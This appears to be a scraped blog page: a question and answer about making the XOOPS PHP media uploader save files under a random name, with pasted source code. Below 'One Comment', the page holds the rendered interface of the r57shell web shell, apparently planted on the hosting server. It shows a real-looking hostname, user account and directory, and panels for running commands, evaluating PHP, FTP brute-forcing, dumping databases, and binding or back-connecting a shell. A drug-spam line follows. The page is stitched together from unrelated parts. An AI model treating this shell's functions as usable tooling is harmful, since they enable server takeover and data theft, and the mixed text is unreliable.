Kernel Bench

Kernel News and How To

I have an upload script and it” saving the filename with the original filaname+temp name. I need it to be changed as just temp name because special characters are causing problems and if there is a spacial character in the filename browsers can not read the image.

Here is the code:

<?php
// $Id: uploader.php 888 2007-07-28 09:03:03Z phppp $
// ———————————————————————— //
// XOOPS – PHP Content Management System //
// Copyright (c) 2000 XOOPS.org //
// <http://www.xoops.org/> //
// ———————————————————————— //
// This program is free software; you can redistribute it and/or modify //
// it under the terms of the GNU General Public License as published by //
// the Free Software Foundation; either version 2 of the License, or //
// (at your option) any later version. //
// //
// You may not change or alter any portion of this comment or credits //
// of supporting developers from this source code or any supporting //
// source code which is considered copyrighted (c) material of the //
// original comment or credit authors. //
// //
// This program is distributed in the hope that it will be useful, //
// but WITHOUT ANY WARRANTY; without even the implied warranty of //
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the //
// GNU General Public License for more details. //
// //
// You should have received a copy of the GNU General Public License //
// along with this program; if not, write to the Free Software //
// Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA //
// ———————————————————————— //
// Author: Kazumi Ono (AKA onokazu) //
// URL: http://www.myweb.ne.jp/, http://www.xoops.org/, http://jp.xoops.org/ //
// Project: The XOOPS Project //
// ————————————————————————- //
/*!
Example

include_once ‘uploader.php’;
$allowed_mimetypes = array(’image/gif’, ‘image/jpeg’, ‘image/pjpeg’, ‘image/x-png’);
$maxfilesize = 50000;
$maxfilewidth = 120;
$maxfileheight = 120;
$uploader = new XoopsMediaUploader(’/home/xoops/uploads’, $allowed_mimetypes, $maxfilesize, $maxfilewidth, $maxfileheight);
if ($uploader->fetchMedia($_POST['uploade_file_name'])) {
if (!$uploader->upload()) {
echo $uploader->getErrors();
} else {
echo ‘<h4>File uploaded successfully!</h4>’
echo ‘Saved as: ‘ . $uploader->getSavedFileName() . ‘<br />’;
echo ‘Full path: ‘ . $uploader->getSavedDestination();
}
} else {
echo $uploader->getErrors();
}

*/

/**
* Upload Media files
*
* Example of usage:
* <code>
* include_once ‘uploader.php’;
* $allowed_mimetypes = array(’image/gif’, ‘image/jpeg’, ‘image/pjpeg’, ‘image/x-png’);
* $maxfilesize = 50000;
* $maxfilewidth = 120;
* $maxfileheight = 120;
* $uploader = new XoopsMediaUploader(’/home/xoops/uploads’, $allowed_mimetypes, $maxfilesize, $maxfilewidth, $maxfileheight);
* if ($uploader->fetchMedia($_POST['uploade_file_name'])) {
* if (!$uploader->upload()) {
* echo $uploader->getErrors();
* } else {
* echo ‘<h4>File uploaded successfully!</h4>’
* echo ‘Saved as: ‘ . $uploader->getSavedFileName() . ‘<br />’;
* echo ‘Full path: ‘ . $uploader->getSavedDestination();
* }
* } else {
* echo $uploader->getErrors();
* }
* </code>
*
* @package kernel
* @subpackage core
*
* @author Kazumi Ono <onokazu@xoops.org>
* @author phppp
* @copyright The Xoops Project
*/
class XoopsMediaUploader
{
/**
* Flag indicating if unrecognized mimetypes should be allowed (use with precaution ! may lead to security issues )
**/
var $allowUnknownTypes = false;

var $mediaName;
var $mediaType;
var $mediaSize;
var $mediaTmpName;
var $mediaError;
var $mediaRealType = ”;

var $uploadDir = ”;

var $allowedMimeTypes = array();
var $deniedMimeTypes = array("application/x-httpd-php");

var $maxFileSize = 0;
var $maxWidth;
var $maxHeight;

var $targetFileName;

var $prefix;

var $errors = array();

var $savedDestination;

var $savedFileName;

va

it’s funny but all that code you pasted in there is totally irrelevant to your problem..

Anyhow I went and looked up this class for you here, http://www.xoops.info/doc/nav.html?_classes/index.html and researched the problem..

After this – $uploader = new XoopsMediaUploader

slide in this:
$uploader->setTargetFileName($value);

Where $value is the random file name you wish to use.
A very simply way to create a random string would be:
$value = mt_rand(5, 15);

Keep in mind you will need to concat the extension onto that random number!!!

One Comment

r57shell 404 Not Found

404 Not Found

The server can not find the requested page:

127.0.0.1/r57shell/version.php?version=124 (port 80)

Please forward this error screen to 127.0.0.1's WebMaster.


   !  r57shell 1.24   07-02-2012 23:58:41  [ phpinfo ]  [ php.ini ]  [ cpu ]  [ mem ]  [ users ]  [ tmp ]  [ delete ]
  safe_mode: OFF  PHP version: 5.2.17  cURL: ON  MySQL: ON  MSSQL: OFF  PostgreSQL: ON  Oracle: OFF
  Disable functions : NONE
  HDD Free : 340.91 GB HDD Total : 802.94 GB
uname -a : 
sysctl : 
$OSTYPE : 
Server : 
id : 
pwd : 

   Linux useast6.myserverhosts.com 2.6.18-338.5.1.el5.lve0.8.29 #1 SMP Sat Apr 23 01:52:48 EEST 2011 x86_64 x86_64 x86_64 G
   -
   linux-gnu
   Apache
   uid=1610(kernelx7) gid=1598(kernelx7) groups=1598(kernelx7)
   /home/kernelx7/public_html   ( drwxr-x--- )
Executed command: ls -lia
:: Execute command on server  ::
Run command ?
Work directory ?    
:: Edit files  ::
File for edit ?    
:: Aliases  ::
         Select alias ?        
:: Find text in files  ::
Find text ?    
In dirs ? * ( /root;/home;/tmp )
Only in files ?* ( .txt;.php;.htm )
:: Search text in files via find  ::
Text for find ?    
Find in folder ? * ( /root;/home;/tmp )
Find in files ? * you can use regexp
:: Eval PHP code  ::

 
:: Upload files on server  ::
Local file ?
 New name ?    
:: Upload files from remote server  ::
With ?  Remote file ?
Local file ?    
:: Download files from server  ::
file ?    
Archivation ? without archivation zip gzip bzip
:: FTP  ::
Download files from remote ftp-server
FTP-server:port ?
Login ?
Password ?
File on ftp ?
Local file ?
Transfer mode ?
Send file to remote ftp server
FTP-server:port ?
Login ?
Password ?
Local file ?
File on ftp ?
Transfer mode ?
:: FTP-bruteforce  ::
FTP-server:port ?    
* use username from /etc/passwd for ftp login and password ( Users list )
Use reverse (user -> resu) login for password
:: Mail  ::
Send email
To ?
From ?
Subj ?
Mail ?
Send file to email
To ?
From ?
Subj ?
Local file ?
Archivation ? without archivation zip gzip bzip
:: Databases  ::
Show database structure
Type ?
Port ?
Login ?
Password ?
show tables ?
show columns ?
Dump database table
Type ?
Port ?
Login ?
Password ?
Database ?
Table ?
Save dump in file ?
file ?
Run SQL query
Type ?
Port ?
Login ?
Password ?
Database ?
SQL query ?

:: Net  ::
Bind port to /bin/bash
Port ?
Password for access ?
Use ?
back-connect
IP ?
Port ?
Use ?
datapipe
Local port ?
Remote host ?
Remote port ?
Use ?
o---[ r57shell - http-shell by RST/GHC | http://rst.void.ru | http://ghc.ru | version 1.24 ]---o


192.168.1.1
100 mg viagra